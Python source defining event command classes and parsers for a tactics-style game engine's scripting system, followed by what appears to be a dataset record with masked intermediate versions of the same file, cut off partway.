class ChangePortrait(EventCommand): nid = 'change_portrait' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "PortraitNid"] class ChangeStats(EventCommand): nid = 'change_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "StatList"] flags = ['immediate'] class SetStats(EventCommand): nid = 'set_stats' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "StatList"] flags = ['immediate'] class AutolevelTo(EventCommand): nid = 'autolevel_to' tag = Tags.MODIFY_UNIT_PROPERTIES # Second argument is level that is eval'd keywords = ["GlobalUnit", "String"] # Whether to actually change the unit's level flags = ["hidden"] class SetModeAutolevels(EventCommand): nid = 'set_mode_autolevels' tag = Tags.GAME_VARS keywords = ["String"] # Whether to actually change the unit's level flags = ["hidden"] class Promote(EventCommand): nid = 'promote' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit"] optional_keywords = ["Klass"] class ChangeClass(EventCommand): nid = 'change_class' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit"] optional_keywords = ["Klass"] class AddTag(EventCommand): nid = 'add_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Tag"] class RemoveTag(EventCommand): nid = 'remove_tag' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ["GlobalUnit", "Tag"] class AddTalk(EventCommand): nid = 'add_talk' tag = Tags.LEVEL_VARS keywords = ["Unit", "Unit"] class RemoveTalk(EventCommand): nid = 'remove_talk' tag = Tags.LEVEL_VARS keywords = ["Unit", "Unit"] class AddLore(EventCommand): nid = 'add_lore' nickname = 'unlock_lore' tag = Tags.GAME_VARS keywords = ["Lore"] class RemoveLore(EventCommand): nid = 'remove_lore' tag = Tags.GAME_VARS keywords = ["Lore"] class AddBaseConvo(EventCommand): nid = 'add_base_convo' tag = Tags.LEVEL_VARS keywords = ["String"] class IgnoreBaseConvo(EventCommand): nid = 'ignore_base_convo' tag = Tags.LEVEL_VARS keywords = ["String"] class RemoveBaseConvo(EventCommand): nid = 'remove_base_convo' tag = Tags.LEVEL_VARS keywords = ["String"] class IncrementSupportPoints(EventCommand): nid = 'increment_support_points' tag = Tags.MODIFY_UNIT_PROPERTIES keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger'] class AddMarketItem(EventCommand): nid = 'add_market_item' tag = Tags.GAME_VARS keywords = ["Item"] class RemoveMarketItem(EventCommand): nid = 'remove_market_item' tag = Tags.GAME_VARS keywords = ["Item"] class AddRegion(EventCommand): nid = 'add_region' tag = Tags.REGION keywords = ["Nid", "Position", "Size", "RegionType"] optional_keywords = ["String"] flags = ["only_once"] class RegionCondition(EventCommand): nid = 'region_condition' tag = Tags.REGION keywords = ["Nid", "Condition"] class RemoveRegion(EventCommand): nid = 'remove_region' tag = Tags.REGION keywords = ["Nid"] class ShowLayer(EventCommand): nid = 'show_layer' tag = Tags.TILEMAP keywords = ["Layer"] optional_keywords = ["LayerTransition"] class HideLayer(EventCommand): nid = 'hide_layer' tag = Tags.TILEMAP keywords = ["Layer"] optional_keywords = ["LayerTransition"] class AddWeather(EventCommand): nid = 'add_weather' tag = Tags.TILEMAP keywords = ["Weather"] class RemoveWeather(EventCommand): nid = 'remove_weather' tag = Tags.TILEMAP keywords = ["Weather"] class ChangeObjectiveSimple(EventCommand): nid = 'change_objective_simple' tag = Tags.LEVEL_VARS keywords = ["String"] class ChangeObjectiveWin(EventCommand): nid = 'change_objective_win' tag = Tags.LEVEL_VARS keywords = ["String"] class ChangeObjectiveLoss(EventCommand): nid = 'change_objective_loss' tag = Tags.LEVEL_VARS keywords = ["String"] class SetPosition(EventCommand): nid = 'set_position' tag = Tags.MISCELLANEOUS keywords = ["String"] class MapAnim(EventCommand): nid = 'map_anim' tag = Tags.TILEMAP keywords = ["MapAnim", "Position"] flags = ["no_block"] class ArrangeFormation(EventCommand): nid = 'arrange_formation' tag = Tags.MISCELLANEOUS # Puts units on formation tiles automatically class Prep(EventCommand): nid = 'prep' tag = Tags.MISCELLANEOUS optional_keywords = ["Bool", "Music"] # Pick units class Base(EventCommand): nid = 'base' tag = Tags.MISCELLANEOUS keywords = ["Panorama"] optional_keywords = ["Music"] class Shop(EventCommand): nid = 'shop' tag = Tags.MISCELLANEOUS keywords = ["Unit", "ItemList"] optional_keywords = ["ShopFlavor"] class Choice(EventCommand): nid = 'choice' tag = Tags.MISCELLANEOUS keywords = ['Nid', 'String', 'StringList'] optional_keywords = ['Orientation'] class ChapterTitle(EventCommand): nid = 'chapter_title' tag = Tags.MISCELLANEOUS optional_keywords = ["Music", "String"] class Alert(EventCommand): nid = 'alert' tag = Tags.DIALOGUE_TEXT keywords = ["String"] class VictoryScreen(EventCommand): nid = 'victory_screen' tag = Tags.MISCELLANEOUS class RecordsScreen(EventCommand): nid = 'records_screen' tag = Tags.MISCELLANEOUS class LocationCard(EventCommand): nid = 'location_card' tag = Tags.DIALOGUE_TEXT keywords = ["String"] class Credits(EventCommand): nid = 'credits' tag = Tags.DIALOGUE_TEXT keywords = ["String", "String"] flags = ['wait', 'center', 'no_split'] class Ending(EventCommand): nid = 'ending' tag = Tags.DIALOGUE_TEXT keywords = ["Portrait", "String", "String"] class PopDialog(EventCommand): nid = 'pop_dialog' tag = Tags.DIALOGUE_TEXT desc = \ """ Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition. Example: ``` ending;Coyote;Coyote, Man of Mystery;Too mysterious for words. transition;Close pop_dialog transition;Open ``` """ class Unlock(EventCommand): nid = 'unlock' tag = Tags.REGION keywords = ["Unit"] class FindUnlock(EventCommand): nid = 'find_unlock' tag = Tags.HIDDEN keywords = ["Unit"] class SpendUnlock(EventCommand): nid = 'spend_unlock' tag = Tags.HIDDEN keywords = ["Unit"] class TriggerScript(EventCommand): nid = 'trigger_script' tag = Tags.MISCELLANEOUS keywords = ["Event"] optional_keywords = ["GlobalUnit", "GlobalUnit"] class ChangeRoaming(EventCommand): nid = 'change_roaming' tag = Tags.MISCELLANEOUS desc = "Turn free roam mode on or off" keywords = ["Bool"] class ChangeRoamingUnit(EventCommand): nid = 'change_roaming_unit' tag = Tags.MISCELLANEOUS desc = "Changes the level's current roaming unit." keywords = ["Unit"] class CleanUpRoaming(EventCommand): nid = 'clean_up_roaming' tag = Tags.MISCELLANEOUS desc = "Removes all units other than the roaming unit" keywords = [] class AddToInitiative(EventCommand): nid = 'add_to_initiative' tag = Tags.MISCELLANEOUS desc = "Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position." keywords = ["Unit", "Integer"] class MoveInInitiative(EventCommand): nid = 'move_in_initiative' tag = Tags.MISCELLANEOUS desc = "Moves the initiative of the specified unit." keywords = ["Unit", "Integer"] def get_commands(): return EventCommand.__subclasses__() def restore_command(dat): if len(dat) == 2: nid, values = dat display_values = None elif len(dat) == 3: nid, values, display_values = dat subclasses = EventCommand.__subclasses__() for command in subclasses: if command.nid == nid: copy = command(values, display_values) return copy print("Couldn't restore event command!") print(nid, values, display_values) return None def parse_text(text): if text.startswith('#'): return Comment([text]) arguments = text.split(';') command_nid = arguments[0] subclasses = EventCommand.__subclasses__() for command in subclasses: if command.nid == command_nid or command.nickname == command_nid: cmd_args = arguments[1:] true_cmd_args = [] command_info = command() for idx, arg in enumerate(cmd_args): if idx < len(command_info.keywords): cmd_keyword = command_info.keywords[idx] elif idx - len(command_info.keywords) < len(command_info.optional_keywords): cmd_keyword = command_info.optional_keywords[idx - len(command_info.keywords)] else: cmd_keyword = "N/A" # if parentheses exists, then they contain the "true" arg, with everything outside parens essentially as comments if '(' in arg and ')' in arg and not cmd_keyword == 'Condition': true_arg = arg[arg.find("(")+1:arg.find(")")] true_cmd_args.append(true_arg) else: true_cmd_args.append(arg) copy = command(true_cmd_args, cmd_args) return copy return None def parse(command): values = command.values num_keywords = len(command.keywords) true_values = values[:num_keywords] flags = {v for v in values[num_keywords:] if v in command.flags} optional_keywords = [v for v in values[num_keywords:] if v not in flags] true_values += optional_keywords return true_values, flags
flexible
{ "blob_id": "c2dba981b0d628aebdf8cebfb890aad74a629b08", "index": 7365, "step-1": "<mask token>\n\n\nclass GiveExp(EventCommand):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 